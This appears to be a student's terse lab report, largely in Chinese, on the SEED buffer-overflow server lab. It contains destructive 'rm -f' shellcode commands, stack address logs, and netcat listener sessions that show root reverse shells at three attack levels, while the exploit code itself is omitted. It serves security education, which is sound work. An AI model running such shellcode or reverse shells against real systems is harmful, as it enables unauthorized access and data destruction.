Task 1: Get Familiar with the Shellcode 改写 shellcode_32/64.py 中的 shell 命令 32 删除 aa, 64 删除 bb

```
"/bin/rm -f /home/seed/Desktop/aa *"
"/bin/rm -f /home/seed/Desktop/bb *"
执行
[07/16/21]seed@VM:~/.../shellcode$ python3 shellcode_32.py
```

[07/16/21]seed@VM:~/.../shellcode\$ python3 shellcode_64.py

[07/16/21]seed@VM:~/.../shellcode\$./a64.out





[07/16/21]seed@VM:~/.../shellcode\$./a32.out



Task 2: Level-1 Attack

```
server-1-10.9.0.5
                    Got a connection from 10.9.0.1
server-1-10.9.0.5
                    Starting stack
server-1-10.9.0.5
                    Input size: 6
                    Frame Pointer (ebp) inside bof(): 0xffffd798
server-1-10.9.0.5
                    Buffer's address inside bof():
server-1-10.9.0.5
                                                         0xffffd728
server-1-10.9.0.5
server-1-10.9.0.5
                    ==== Returned Properly ====
                    Got a connection from 10.9.0.1
server-1-10.9.0.5
                    Starting stack
server-1-10.9.0.5
                    Input size: 6
server-1-10.9.0.5
                    Frame Pointer (ebp) inside bof():
                                                         0xffffd798
server-1-10.9.0.5
                    Buffer's address inside bof():
                                                         0xffffd728
server-1-10.9.0.5 |
                    ==== Returned Properly ====
```

监听端

```
[07/16/21]seed@VM:~$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 47024
root@0de3ff381bce:/bof#
```

Server 端

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd138
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd0c8
```

Task 3: Level-2 Attack

改写代码

攻击结果

[07/16/21]seed@VM:~\$ nc -lnv 7070 Listening on 0.0.0.0 7070 Connection received on 10.9.0.6 46922 root@3dd89be6e220:/bof#

Task 4: Level-3 Attack

改写代码

攻击结果

```
[07/16/21]seed@VM:~$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.7 57824
root@58a19710a50c:/bof#
```